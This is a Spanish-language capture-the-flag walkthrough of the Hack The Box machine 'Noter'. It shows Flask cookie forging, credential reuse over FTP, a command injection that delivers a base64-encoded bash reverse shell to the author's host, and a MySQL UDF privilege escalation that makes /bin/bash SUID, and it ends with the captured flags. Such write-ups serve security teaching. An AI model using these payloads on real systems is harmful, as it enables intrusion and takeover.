Noter
10 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.160
- Fecha: 07 / 05 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.160 -p 21,22,5000
Nmap scan report for 10.10.11.160
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 11.47 seconds
La máquina tiene abiertos los puertos 21 (FTP), 22 (SSH) y 5000 (HTTP).
Enumeración web
Si vamos a http://10.10.11.160:5000
, tenemos la siguiente página web:
Lo primero que podemos hacer es registrar una nueva cuenta como rocky
:
Y luego iniciar sesión:
Ahora tenemos acceso a nuestro dashboard personal:
Parece que existe una suscripción VIP, pero no está activa:
Y también podemos añadir una nueva nota:
Aquí podemos probar vulnerabilidades comunes como Server-Side Template Injection (SSTI) o Cross-Site Scripting (XSS). De hecho, la herramienta que gestiona las notas es CKEditor:
Esta versión de CKEditor (4.6.2) tiene una vulnerabilidad de XSS (más información en snyk.io). No obstante, no hay nadie leyendo nuestras notas, por lo que XSS no será útil para la explotación.
En este punto, podemos tratar de obtener la tecnología usada en el back-end. La cabecera Server
muestra Werkzeug/2.0.2 Python/3.8.10
, lo cual significa que la tecnología del back-end es probablemente Flask. Además, tenemos una cookie de sesión típica de Flask, y el mensaje de respuesta HTTP está en letras mayúsculas (302 FOUND
):
$ curl 10.10.11.160:5000/dashboard -I
HTTP/1.0 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 218
Location: http://10.10.11.160:5000/login
Vary: Cookie
Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsiZGFuZ2VyIiwiVW5hdXRob3JpemVkLCBQbGVhc2UgbG9naW4iXX1dfQ.YtMgNg.FAhOFDdpcAg905AbEook1WRrB4U; HttpOnly; Path=/
Server: Werkzeug/2.0.2 Python/3.8.10
Date: Sat, 16 Jul 2022 20:31:50 GMT
Podemos coger nuestra propia cookie de sesión y decodificarla con flask-unsign
:
$ flask-unsign --decode --cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicm9ja3kifQ.YtMW3Q.11eEHt1GC3R0gKwJCFYa5euDte8
{'logged_in': True, 'username': 'rocky'}
Esta herramienta es capaz de realizar un ataque de fuerza bruta para extraer la clave secreta usada para firmar las cookies.
$ flask-unsign --unsign --cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicm9ja3kifQ.YtMW3Q.11eEHt1GC3R0gKwJCFYa5euDte8
[*] Session decodes to: {'logged_in': True, 'username': 'rocky'}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[*] Attempted (2048): -----BEGIN PRIVATE KEY-----***
[+] Found secret key after 17408 attemptsQtX/puoAECjC
'secret123'
Ahí está (secret123
). En este punto, podemos falsificar cookies de sesión. Sin embargo, no tenemos ningún usuario válido. Podemos probar con nombres de usuario comunes como admin
o administrator
, pero no son válidos:
$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret secret123
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.YtMdfA.W2r5MJWyB2eQCgY4oCYC8GEv0g0
$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'administrator'}" --secret secret123
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW5pc3RyYXRvciJ9.YtMdkw.XbITVqjTiqkQdmH50xODDdubJg0
Una manera de enumerar usuarios es falsificar cookies de sesión usando un diccionario y luego usar ffuf
para comprobar cada cookie:
$ for name in $(cat $WORDLISTS/names.txt); do flask-unsign --sign --cookie "{'logged_in': True, 'username': '$name'}" --secret secret123; done > sessions.txt
$ ffuf -w sessions.txt -u http://10.10.11.160:5000/dashboard -H 'Cookie: session=FUZZ' -mc 200
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YtMfew._xogDzgiDE-mwbolv2fbRKt28NI [Status: 200, Size: 2444, Words: 565, Lines: 83, Duration: 90ms]
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicm9ja3kifQ.YtMi1A.42ax8lWMfqrz4CVh9oKkhuqB6eU [Status: 200, Size: 3230, Words: 807, Lines: 109, Duration: 143ms]
Genial, veamos qué usuarios son estos:
$ flask-unsign --decode --cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YtMfew._xogDzgiDE-mwbolv2fbRKt28NI
{'logged_in': True, 'username': 'blue'}
$ flask-unsign --decode --cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicm9ja3kifQ.YtMi1A.42ax8lWMfqrz4CVh9oKkhuqB6eU
{'logged_in': True, 'username': 'rocky'}
Vale, rocky
es mi usuario (aparece en el diccionario). Si usamos la cookie de sesión de blue
veremos un dashboard distinto (uno VIP):
Estas son las notas de blue
:
La primera es bastante interesante porque muestra una contraseña (blue@Noter!
) y otro nombre de usuario (ftp_admin
):
La segunda nota no es tan interesante:
Podemos tratar de falsificar una cookie para ftp_admin
, pero no funciona.
Como miembro VIP, podemos importar notas en Markdown (probando diferentes extensiones como .txt
, .html
hasta encontrar que .md
es válida):
Y también podemos exportar notas de Markdown a PDF:
Enumeración de FTP
En este punto, podemos enumerar el servidor FTP. Podemos acceder usando las credenciales blue:blue@Noter!
:
$ ftp blue@10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 1002 1002 4096 May 02 23:05 files
-rw-r--r-- 1 1002 1002 12569 Dec 24 2021 policy.pdf
226 Directory send OK.
ftp> get policy.pdf
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for policy.pdf (12569 bytes).
WARNING! 286 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
12569 bytes received in 0,0374 seconds (329 kbytes/s)
ftp> cd files
250 Directory successfully changed.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
Lo único que podemos sacar es un archivo PDF llamado policy.pdf
. Aunque el modo ASCII está habilitado (no el modo binario), el archivo PDF está correcto. En este archivo podemos encontrar una frase interesante:
Default user-password generated by the application is in the format of “username@site_name!” (This applies to all your applications)
La contraseña para blue
coincide con esta regla. Vamos a comprobar si la de ftp_admin
también. En la página web no funciona, pero sí podemos acceder por FTP con las credenciales por defecto:
$ ftp ftp_admin@10.10.11.160
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
226 Directory send OK.
ftp> get app_backup_1638395546.zip
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for app_backup_1638395546.zip (26298 bytes).
WARNING! 100 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
26298 bytes received in 0,102 seconds (252 kbytes/s)
Aquí tenemos un problema porque los archivos ZIP encontrados están corruptos (como resultado del modo ASCII de FTP):
$ unzip -l app_backup_1638395546.zip
Archive: app_backup_1638395546.zip
error [app_backup_1638395546.zip]: missing 3 bytes in zipfile
(attempting to process anyway)
error [app_backup_1638395546.zip]: start of central directory not found;
zipfile corrupt.
(please check that you have transferred or created the zipfile in the
appropriate BINARY mode and that you have compiled UnZip properly)
Una manera de conseguirlos bien es con curl
:
$ curl ftp://'ftp_admin:ftp_admin%40Noter!'@10.10.11.160/
-rw-r--r-- 1 1003 1003 25559 Nov 01 2021 app_backup_1635803546.zip
-rw-r--r-- 1 1003 1003 26298 Dec 01 2021 app_backup_1638395546.zip
Y ya los podemos descargar:
$ curl ftp://'ftp_admin:ftp_admin%40Noter!'@10.10.11.160/app_backup_1635803546.zip -so app_backup_1635803546.zip
$ curl ftp://'ftp_admin:ftp_admin%40Noter!'@10.10.11.160/app_backup_1638395546.zip -so app_backup_1638395546.zip
Ambos archivos ZIP contienen los mismos archivos:
$ unzip -l app_backup_1638395546.zip
Archive: app_backup_1638395546.zip
Length Date Time Name
--------- ---------- ----- ----
13507 12-26-2021 22:49 app.py
0 12-26-2021 22:45 misc/
0 12-26-2021 17:10 misc/attachments/
46832 12-25-2021 13:09 misc/package-lock.json
0 12-25-2021 13:09 misc/node_modules/
169 12-26-2021 22:45 misc/md-to-pdf.js
0 12-21-2021 14:15 templates/
0 12-17-2021 14:51 templates/includes/
393 12-15-2021 22:07 templates/includes/_messages.html
1229 12-23-2021 11:54 templates/includes/_navbar.html
238 12-15-2021 22:07 templates/includes/_formhelpers.html
503 12-19-2021 20:25 templates/import_note.html
246 12-18-2021 16:44 templates/upgrade.html
816 12-21-2021 20:47 templates/export_note.html
393 12-21-2021 14:15 templates/note.html
537 12-15-2021 22:07 templates/about.html
755 12-15-2021 22:07 templates/register.html
943 12-23-2021 11:54 templates/dashboard.html
242 12-17-2021 14:56 templates/notes.html
525 12-23-2021 15:03 templates/home.html
641 12-23-2021 14:57 templates/layout.html
466 12-16-2021 19:29 templates/add_note.html
467 12-17-2021 14:55 templates/edit_note.html
1036 12-21-2021 16:16 templates/vip_dashboard.html
521 12-17-2021 22:32 templates/login.html
--------- -------
70459 25 files
Pero realmente, los archivos app.py
son diferentes (tienen distintos valores CRC):
$ diff <(unzip -v app_backup_1638395546.zip) <(unzip -v app_backup_1635803546.zip)
1c1
< Archive: app_backup_1638395546.zip
---
> Archive: app_backup_1635803546.zip
4c4
< 13507 Defl:N 3138 77% 12-26-2021 22:49 f64d2c7c app.py
---
> 9178 Defl:N 2399 74% 12-26-2021 22:48 5c7d6fd3 app.py
30c30
< 70459 22018 69% 25 files
---
> 66130 21279 68% 25 files
Análisis de código estático
Las líneas de código interesantes de app_backup_1635803546/app.py
son credenciales de la base de datos:
#!/usr/bin/python3
# imports
app = Flask(__name__)
# Config MySQL
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'
app.config['MYSQL_DB'] = 'app'
app.config['MYSQL_CURSORCLASS'] = 'DictCursor'
# init MySQL
mysql = MySQL(app)
# ...
En app_backup_1635803546/app.py
estas credenciales son diferentes, pero no parecen correctas. Además, tenemos el código usado para exportar notas de Markdown a PDF:
@app.route('/export_note_local/<string:id>', methods=['GET'])
@is_logged_in
def export_note_local(id):
if check_VIP(session['username']):
cur = mysql.connection.cursor()
result = cur.execute("SELECT * FROM notes WHERE id = %s and author = %s", (id,session['username']))
if result > 0:
note = cur.fetchone()
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{note['body']}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")
return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)
else:
return render_template('dashboard.html')
else:
abort(403)
Intrusión en la máquina
Aquí hay una vulnerabilidad de inyección de comandos, ya que podemos salir de las comillas simples e inyectar un comando de sistema:
subprocess.run(command, shell=True, executable="/bin/bash")
Algo así:
$ python3 -q
>>> body = "'; whoami; echo '"
>>> command = f"node misc/md-to-pdf.js $'{body}' {1337}"
>>> command
"node misc/md-to-pdf.js $''; whoami; echo '' 1337"
Entonces, podemos obtener una reverse shell en la máquina.
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
Este es el payload que tenemos que poner en una nota:
'; echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash; echo '
Luego exportarla como PDF y obtenemos la conexión de vuelta en nc
:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.160.
Ncat: Connection from 10.10.11.160:60110.
bash: cannot set terminal process group (257434): Inappropriate ioctl for device
bash: no job control in this shell
svc@noter:~/app/web$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
svc@noter:~/app/web$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
svc@noter:~/app/web$ export TERM=xterm
svc@noter:~/app/web$ export SHELL=bash
svc@noter:~/app/web$ stty rows 50 columns 158
En este momento, podemos leer la flag user.txt
:
svc@noter:~/app/web$ cd
svc@noter:~$ cat user.txt
92d9fa6e5b473e1696d8ce38214a5dc6
Enumeración del sistema
La enumeración básica muestra que existe un script backup.sh
en /opt
:
svc@noter:~$ ls -la /opt
total 12
drwxr-xr-x 2 root root 4096 May 2 23:05 .
drwxr-xr-x 19 root root 4096 May 2 23:05 ..
-rwxr--r-- 1 root root 137 Dec 30 2021 backup.sh
svc@noter:~$ cat /opt/backup.sh
#!/bin/bash
zip -r `echo /home/svc/ftp/admin/app_backup_$(date +%s).zip` /home/svc/app/web/* -x /home/svc/app/web/misc/node_modules/**\*
Pero no parece que se ejecute por otro usuario.
Si usamos linpeas.sh
, vemos que MySQL está configurado para ejecutarse como root
:
╔══════════╣ Searching mysql credentials and exec
From '/etc/mysql/mariadb.conf.d/50-server.cnf' Mysql user: user = root
Found readable /etc/mysql/my.cnf
[client-server]
!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
Esto es un problema porque podemos ejecutar comandos como root
mediante User Defined Functions (UDF). En este artículo se muestran los archivos y pasos necesarios para completar el exploit. Necesitaremos este programa en C.
Escalada de privilegios
Solamente tenemos que seguir los pasos del artículo.
En primer lugar, descargamos y compilamos el exploit:
svc@noter:~$ cd /tmp
svc@noter:/tmp$ wget -q 10.10.17.44/raptor_udf2.c
svc@noter:/tmp$ gcc -g -c raptor_udf2.c
svc@noter:/tmp$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Para acceder a MySQL podemos usar las credenciales que encontramos en app.py
. Luego, podemos continuar con la explotación para configurar /bin/bash
como binario SUID:
svc@noter:/tmp$ mysql --user=root --password=Nildogg36
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 12759
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show variables like '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name | Value |
+-----------------+---------------------------------------------+
| plugin_dir | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma |
+-----------------+---------------------------------------------+
2 rows in set (0.001 sec)
MariaDB [(none)]> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.001 sec)
MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mysql]> create table foo(line blob);
Query OK, 0 rows affected (0.005 sec)
MariaDB [mysql]> insert into foo values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.002 sec)
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.001 sec)
MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.001 sec)
MariaDB [mysql]> select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.000 sec)
MariaDB [mysql]> select do_system('chmod 4755 /bin/bash');
+-----------------------------------+
| do_system('chmod 4755 /bin/bash') |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.003 sec)
MariaDB [mysql]> exit
Bye
Y ahora /bin/bash
es SUID:
svc@noter:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
Por lo que podemos ejecutar Bash como root
:
svc@noter:/tmp$ bash -p
bash-5.0# cat /root/root.txt
55410fc79784d12a27222bcce0528f14